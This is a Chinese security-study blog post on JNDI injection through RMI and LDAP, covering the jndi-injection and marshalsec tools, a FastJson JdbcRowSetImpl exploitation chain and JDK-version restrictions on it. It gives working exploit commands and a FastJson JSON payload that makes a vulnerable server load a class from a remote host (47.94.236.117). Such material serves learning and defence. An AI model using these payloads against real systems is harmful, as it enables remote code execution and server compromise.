当前位置: 首页 > news >正文

安全学习_开发相关_JNDI介绍(注入)RMILDAP服务

文章目录

  • 参考&本节目的
  • JNDI概念-RMI&LDAP服务
    • 调用检索:
      • 在RMI服务中调用了InitialContext.lookup()的常用类有:
      • 在LDAP服务中调用了InitialContext.lookup()的常用类有:
  • JNDI注入-使用工具生成远程调用
      • JNDI远程调用-工具(jndi-injection)自主定义
      • JNDI远程调用-工具marshalsec
  • JNDI注入-FastJson漏洞结合
  • JNDI注入-JDK高版本注入绕过
      • JDK 6u45、7u21之后:
      • JDK 6u141、7u131、8u121之后:
      • JDK 6u211、7u201、8u191之后:

参考&本节目的

https://blog.csdn.net/dupei/article/details/120534024

高版本绕过参考:

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

什么是jndi注入

为什么有jndi注入

JDNI注入安全问题

JDNI注入利用条件

参考:https://blog.csdn.net/dupei/article/details/120534024

JNDI概念-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

调用检索:

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的常用类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()com.sun.rowset.JdbcRowSetImpl.execute()javax.management.remote.rmi.RMIConnector.connect()org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的常用类有:

InitialDirContext.lookup()Spring LdapTemplate.lookup()LdapTemplate.lookupContext()

JNDI中内置了rmi、ldap服务

rmi、ldap都可以进行远程调用对象,可以远程执行java代码class文件

攻击利用中就用到了jndi-injection和marshalsec工具

jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap高版本有一定绕过方法。

JNDI注入-使用工具生成远程调用

JNDI远程调用-工具(jndi-injection)自主定义

1、使用远程调用(默认端口1389)

new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/xxx”);

new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/xxx”);

2、使用利用工具生成调用地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc” -A xx.xx.xx.xx

JNDI远程调用-工具marshalsec

1、使用远程调用(默认端口1389)

new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);

new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);

2、编译调用对象

javac Test.java

将对象编译为class文件,放入远程服务器后利用工具生成调用协议

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test

4、将生成的Class存放访问路径

JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)

思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入

漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson

2、使用工具生成远程调用方法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc” -A 47.94.236.117

3、提交JSON数据Payload

{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://47.94.236.117:1099/vwaexx”,“autoCommit”:true}

该类最终调用了InitialContext.lookup()

JNDI注入-JDK高版本注入绕过

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,

因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过参考:

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

marshalsec中集成了一些绕过,绕过的ldap服务。

http://www.lryc.cn/news/182804.html

相关文章:

  • C#学生选课及成绩查询系统
  • 【C语言】利用数组处理批量数据(一维数组和二维数组)
  • WPF中, 如何将控件的触发事件绑定到ViewModel
  • 解决Qt msvc编译器 中文显示乱码问题
  • JAVA面经整理(7)
  • CentOS7使用技巧
  • Nature Machine Intelligence | “化学元素知识+功能提示”双驱动,探索分子预测新方法
  • CppCheck静态代码检查工具教程【Windows和Linux端】
  • W25Q128芯片手册精读
  • QT商业播放器
  • Python的函数
  • 【物联网】STM32的中断机制不清楚?看这篇文章就足够了
  • 深入剖析红黑树:优雅地平衡二叉搜索树
  • C10K问题:高并发模型设计
  • 哈希/散列--哈希表[思想到结构][==修订版==]
  • 成都建筑模板批发市场在哪?
  • 亨元模式 结构型模式之六
  • 面试题: Spring中Bean的实例化和Bean的初始化有什么区别?
  • 阻塞队列,生产者消费者模型
  • 【RCRL充放电时间相关计算】
  • C++ primer plus--输入、输出和文件
  • 案例题--Web应用考点
  • MySQL的SQL 优化:提升数据库性能
  • 【匠心打造】从0打造uniapp 可视化拖拽设计 c_o 第十篇
  • BIT-5-操作符详解(C语言初阶学习)
  • 【重拾C语言】三、分支程序设计(双分支和单分支程序设计、逻辑判断、多分支程序设计、枚举类型表示;典型例题:判断闰年和求一元二次方程根)
  • Shiro应用到Web Application
  • 【POST请求-腾讯翻译君-爬虫案例】
  • 多卡片效果悬停效果
  • 首饰饰品经营商城小程序的作用是什么